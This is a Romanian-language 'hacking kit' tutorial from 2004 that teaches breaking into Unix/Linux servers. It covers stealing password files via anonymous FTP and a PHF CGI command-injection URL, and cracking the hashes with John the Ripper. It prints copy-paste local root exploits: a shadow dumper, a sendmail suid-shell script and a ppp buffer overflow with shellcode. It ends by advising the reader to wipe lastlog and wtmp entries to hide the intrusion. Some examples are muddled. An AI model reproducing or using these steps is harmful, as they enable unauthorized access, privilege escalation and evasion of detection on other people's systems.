Hacking Kit v 1.0.3
 
 
By : eth0|AW|
Irc: Undernet, #Hackunix, #gangboy, #Hacklinux, #UnixHack, #Linuxhack, #rock, #rockul
Nick: eth0|AW|
Email: learntohack@hacknet.ro
Data:29.10.2004
 
 
I.        Cracking UNIX/LINUX PASSWORDS
 
 
 
"        Discalimer
        Mai intai vreau sa spun ca eu personal nu vreau sa promovez criminalitatea pe internet si nu vreau sa sustin nici o activitate de orice fel care incalca legea. Deci eu personal nu sunt responsabil de actiunile dumneavoastra ce le savarsiti in urma citirii acestui document, dumneavoastra sunteti absolute responsabili .
 
"        Cum pot accesa fisierul ce contine parole in LINUX?
 
Acest fisier se gaseste in directorul /etc/ si se numeste passwd. Acest fisier /etc/passwd contine informatii despre toti utilizatorii sistemului chiar si roor-ul. Acesti useri din fisier contin parole criptate, deci daca furi dintr-un sistem un fisier cu parole nu inseamna ca esti hacker, sau ca ai compromise sistemul. Mai inati trebuie sa le spargi. In sistemele UNIX sau LINUX versiuni noi, ex slackware 10.0 aceste fisiere cu parole sunt "ascunse", deci daca editam un fisier /etc/passwd va arata :
 
root:x:0:1:0000-Admin(0000):/:/usr/bin/bash
daemon:x:1:1:0000-Admin(0000):/:
bin:x:2:2:0000-Admin(0000):/usr/bin:
sys:x:3:3:0000-Admin(0000):/:
adm:x:4:4:0000-Admin(0000):/var/adm:
lp:x:71:8:0000-lp(0000):/usr/spool/lp:
smtp:x:0:0:mail daemon user:/:
uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:
nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico
listen:x:37:4:Network Admin:/usr/net/nls:
nobody:x:60001:60001:uid no body:/:
noaccess:x:60002:60002:uid no access:/:
webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh
pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false
ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false
 
Aceste fisiere ascunse (shadowed files) se pot gasi in functie de sistemul de operare:
        Sa luam un exemplu:
 
Root:x:0:1:0000-Admin(0000):/:/usr/bin/bash
Campurile acestei structuri sunt impartite prin doua puncte ":"
 
Si anume: NUmeled de login:parola ascunsa:id userului:id groupului:numele:gecos:directorul radacina:shelul
 
 
Ex:
 
 
 
                    gecos
                      |
root:x:0:1:Super-User:/:/sbin/bash
  |   | | |       |      |     |
nume  | | |       |      |     |
login | |group    |      |    shell (bash= bourne again shell)
      | | id   fullname  |
  shadowed                 |
  passwd|                home
        |                dir
     userid
 
 
 
       
System        Shadow                   Token
AIX           /etc/security/passwd        !
BSD           /etc/master.passwd          *
DG/UX         /etc/tcb/aa/user/           *
HP-UX         /.secure/etc/passwd         *
IRIX          /etc/shadow                 x
Linux         /etc/shadow                 *
SCO           /tcb/auth/files/[first letter of username]/[username]        *
SunOS 4.1+c2  /etc/security/passwd.adjunct        ##username
SunOS 5.x     /etc/shadow [optional NIS+ private secure maps/tables]   ##username
System V < 4.2 /etc/shadow                x
System V >= 4.2/etc/security/* database   x
 
Dar noi mai intai trebuie sa le obtinem. Exista doua metode de a le obtine si anume:
 
1.        Cu File transfer protocol. (FTP) Realizam o conexiune FTP anonima la serverul victimei sin e uitam daca avem acces la directorul /etc. Daca avem acces va trebui sa downloadam fisierele /etc/passwd , /etc/shadow, etc. Priviti tabelul de mai sus , downloadam in functie de sistemul de operare.
2.        Exista o tehnica numita PHF. In unele sisteme ce ruleaza servere de web exista un director cgi-bin. Mai intai verificam daca directorul exista si daca exista verificam daca exista un fisier .phf.
Verificarea se face cu ajutorul scannerului Cgifound.exe sau sintr-un browser tastam adresa serverului urmata de un slash /cgi-bin
Daca esista aceste fisiere va trebui sa tastati urmatoarea adresa in browserul web. Aceste fisiere .PHF ii lasa pe useri sa acceseze fisiere de pe server .
Adresa este:
 
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
sau:
http://xxx.xxx.xxx/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/shadow
etc.
        Daca nici metoda aceasta nu merge incercati sa exploatati serverul respective cu un exploit, atunci veti obtine userul root si veti pute in sfarsit sa obtineti /etc/passwd si /etc/shadow
 
Sa presupunem ca am reusit sa downloadam fisierul /etc/shadow. Acest fisier arata in felul urmator:
 
Root:Npge08pfz4wuk:0:1:Super-User:/:/sbin/bash
daemon:Fs2e08p34Cxw1:1:1::/:
bin:Npge08pfz4wuk:2:2::/usr/bin:
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
 
Vreau sa amintesc ca sunt unele exploituri care dau acces la un fisier de parole!!!
 
Acum ca am acest fisier de parole nu mai ramane decat sa downloadez un program numit CRACKER JACK sau JOHN THE RIPPER, cu ajutorul carora voi reusi sa sparg parola de root. Un astfel de program il puteti downloada de pe siteul meu. Sa presupunem ca fisierul /etc/shadow il redenumesc in /passwdors. Acum voi rula JOHN the RIPPER pe acest fisier numit /passwords.
Din promterul dos voi tasta:(toate comenzile introduce de mine vor avea un # in fata)
 
# F:\Kituri\Users\Radu\Hacking\john-16\run>john -w:password.lst passwords
 
Loaded 3 passwords with 3 different salts (Standard DES [24/32 4K])
password         (Root)
guesses: 1  time: 0:00:00:00 100%  c/s: 4706  trying: republic - zhongguo
 
Am folosit un dictionary de parole pentru a sparge acest fisier de parole , dupa parerea mea este cea mia buna metoda.
Urmeaza sa vedem ce am spart si ce nu:
# F:\Kituri\Users\Radu\Hacking\cracking\john-16\run>john.exe -show passwords
Root:password:0:1:Super-User:/:/sbin/bash
bin:password:2:2::/usr/bin:
 
2 passwords cracked, 2 left
 
F:\Kituri\Users\Radu\Hacking\cracking\john-16\run>
 
Se pare ca am spart doua parole si doua au ramas. Dupa cum vedeti eu folosesc o versiune al lui john the ripper pentru windows iar daca voi vreti puteti sa va luati o versiune pt linux. In continuare , revenim la subiec, au ami ramas doua parole de spart, v alas pe voi sa o faceti :))))
Deci va creati un fisier .TXT in care va copiati urmatoarea chestiune:
 
Root:Npge08pfz4wuk:0:1:Super-User:/:/sbin/bash
daemon:Fs2e08p34Cxw1:1:1::/:
bin:Npge08pfz4wuk:2:2::/usr/bin:
TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh
BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh
 
Salvati si rulati JOHN THE RIPPER PE fisierul salvat anterior. Succes!
 
 
In continuare va voi prezenta un exploit care compilat si rulat cu parametrii corespunzatori va va da acces la fisierul de parole:
 
 
~~~~~~~~  copiati de aici
 
 
/*  This source will/should print out SHADOWPW passwd files.   */

struct  SHADOWPW {                              /* see getpwent(3) */
          char *pw_name;
          char *pw_passwd;
          int  pw_uid;
          int  pw_gid;
          int  pw_quota;
          char *pw_comment;
          char *pw_gecos;
          char *pw_dir;
          char *pw_shell;
};
struct passwd *getpwent(), *getpwuid(), *getpwnam();

#ifdef   elxsis?

/* Name of the shadow password file. Contains password and aging info */

#define  SHADOWPW "/etc/shadowpw"
#define  SHADOWPW_PAG "/etc/shadowpw.pag"
#define  SHADOWPW_DIR "/etc/shadowpw.dir"
/*
  *  Shadow password file pwd->pw_gecos field contains:
  *
  *  <type>,<period>,<last_time>,<old_time>,<old_password>
  *
  *  <type>      = Type of password criteria to enforce (type int).
  *             BSD_CRIT (0), normal BSD.
  *             STR_CRIT (1), strong passwords.
  *  <period>  = Password aging period (type long).
  *             0, no aging.
  *             else, number of seconds in aging period.
  *  <last_time>         = Time (seconds from epoch) of the last password
  *             change (type long).
  *             0, never changed.n
  *  <old_time>  = Time (seconds from epoch) that the current password
  *             was made the <old_password> (type long).
  *             0, never changed.ewromsinm
  *  <old_password> = Password (encrypted) saved for an aging <period> to
  *             prevent reuse during that period (type char [20]).
  *             "*******", no <old_password>.
  */

/* number of tries to change an aged password */

#define  CHANGE_TRIES 3

/* program to execute to change passwords */

#define  PASSWD_PROG "/bin/passwd"

/* Name of the password aging exempt user names and max number of entires */

#define  EXEMPTPW "/etc/exemptpw"
#define MAX_EXEMPT 100

/* Password criteria to enforce */

#define BSD_CRIT 0     /* Normal BSD password criteria */
#define STR_CRIT 1      /* Strong password criteria */
#define MAX_CRIT 1
#endif   elxsi
#define NULL 0
main()
{
        struct passwd *p;
        int i;
        for (;1;) {;
          p=getpwent();
          if (p==NULL) return;
          printpw(p);
        }
}

printpw(a)
struct SHADOWPW *a;
{
        printf("%s:%s:%d:%d:%s:%s:%s\n",
           a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid,
           a->pw_gecos,a->pw_dir,a->pw_shell);
}

/* SunOS 5.0           /etc/shadow */
/* SunOS4.1+c2     /etc/security/passwd.adjunct */

 
 
~~~~~~ copiati pana aici.
 
Va trebui sa copiati codul sursa intrun fisier .txt , dupa care va trebui sa-l redenumiti in exploit.c Atentie extensia fisierului exploit trebuie sa fie .c
Apoi transferati fisierul cu FTP in shellul linux al dumneavoastra, si il compilati cu ajutorul lui GCC. Ex:
 
Sa presupunem ca m-am logat intr-un free shell:
 
Login: ifoconfig
Password:XXXXXXXXXXXX
 
Welcome ifconfig to cyberspace.org
 
Bash#
Veti fi nevoit sa vedeti daca fisierul a fost transferat: (veti bate comanda ls)
 
# bash# ls
 
exploit.c
 
Il compilam:
 
# bash# gcc exploit.c -o exploit
 
Si il rulam :
 
# bash# ./exploit
 
Iar acum vom avea fisierul etc/shadow
 
Dupa parerea mea orice BOU ar trebui sa inteleaga ce fac eu aici, nu ar trebui sa explic operatiune cu operatiune dar in fineeeeee…….:))))))
 
Va voi expune un al doilea exploit care va compromite sistemul fara a-ti fi nevoit sa mai spargeti parola ca in cazul anterior:
 
 
 
~~~~~~~ copiaza de aici
 
 
 
cat << _EOF_ >/tmp/x.c
#define RUN "/bin/ksh"
#include<stdio.h>
main()
{
    execl(RUN,RUN,NULL);
}
_EOF_
#
cat << _EOF_ >/tmp/spawnfish.c
main()
{
   execl("/usr/lib/sendmail","/tmp/smtpd",0);     
}                                            
_EOF_
#
cat << _EOF_ >/tmp/smtpd.c
main()
{
   setuid(0); setgid(0);
   system("chown root /tmp/x ;chmod 4755 /tmp/x");
}
_EOF_
#
#
gcc -O  -o /tmp/x /tmp/x.c
gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c
gcc -O3 -o /tmp/smtpd /tmp/smtpd.c
#
/tmp/spawnfish
kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`
rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c
sleep 5
if [ -u /tmp/x ] ; then
   echo "leet..."
   /tmp/x
fi
 
~~~~~~~ copiati pana aici
 
 
Un alt exploit:
 
~~~~~~~ copiati de aici
 
 
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
 
#define BUFFER_SIZE     156     /* size of the bufer to overflow */
 
#define OFFSET          -290    /* number of bytes to jump after the start
                                   of the buffer */
 
long get_esp(void) { __asm__("movl %esp,%eax\n"); }
 
main(int argc, char *argv[])
{
        char *buf = NULL;
        unsigned long *addr_ptr = NULL;
        char *ptr = NULL;
        char execshell[] =
        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */
        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */
        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */
        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */
  
        int i,j;
 
        buf = malloc(4096);
 
        /* fill start of bufer with nops */
 
        i = BUFFER_SIZE-strlen(execshell);
 
        memset(buf, 0x90, i);
        ptr = buf + i;
 
        /* place exploit code into the buffer */
 
        for(i = 0; i < strlen(execshell); i++)
                *ptr++ = execshell[i];
 
        addr_ptr = (long *)ptr;
        for(i=0;i < (104/4); i++)
                *addr_ptr++ = get_esp() + OFFSET;
 
        ptr = (char *)addr_ptr;
        *ptr = 0;
 
        setenv("HOME", buf, 1);
 
        execl("/usr/sbin/ppp", "ppp", NULL);
}
 
~~~~~~ copiaza pana aici.
 
Presupun ca ati invatat sa compilati nu???????
 
 
Acest expoloit creaza un program suid in /tmp/x, si este cunoscut ca sendmail 8.8.4
 
 
II.        Folosirea Programului John The Ripper:
 
Pentru a invata sa folositi acest program cititi fisierul examples din directorul /doc unde ati instalat programul JOHN THE RIPPER
 
 
 
"        Modul simplu ex:   john.exe  -single fisierparole
"        Dictionar    ex:   john.exe  -w:wordlist.lst fisierparole
"        Incremental mod ex:john.exe -I fisierparole
Un mod foarte simplu este:  john.exe fisierparole
 
V-as sugera sa va luati un dictionar de parole de pe pe site-ul meu si un program de facut dictionare:
Dictionary maker 1.0
Dictionary files FTP etc.
 
Atentie : Folositi intotdeauna parole puternice si anume cele care contin caractere precum #$%^ . Parolele ce le puteti sparge suunt cele slabe, ce nu contin multe caractere si anume :
Nume, an de nastere, data, user34  etc.
 
II.        Stergerea prezenteti d-v pe server si anume stergerea logurilor:
 
 
Atunci cand v-ati conectat la shellul dumneavoastra sau cand ati furat fisierul cu ajutorul lui ftp s-au creat niste loguri.
Aceste loguri se pot gasi in:
 
/usr/adm/lastlog
/var/adm/lastlog
/var/log/lastlog
/usr/adm/message
 
Aceste loguri se pot sterge , dare u va recomand sa le editati cu un editor si sa va stergeti conexiunea facuta , adresa de ip a d-v. etc., sau sa folositi anumite program care vin de obicei in limbajul c si trebuiesc compilate, si executate si anume:
 
Lled.c
Zap2.c
Wted.c
Wtmp.c
 
Astfel de programe le puteti gasi in sectiunea download, de pe siteul meu.
 
 
Happy Cracking.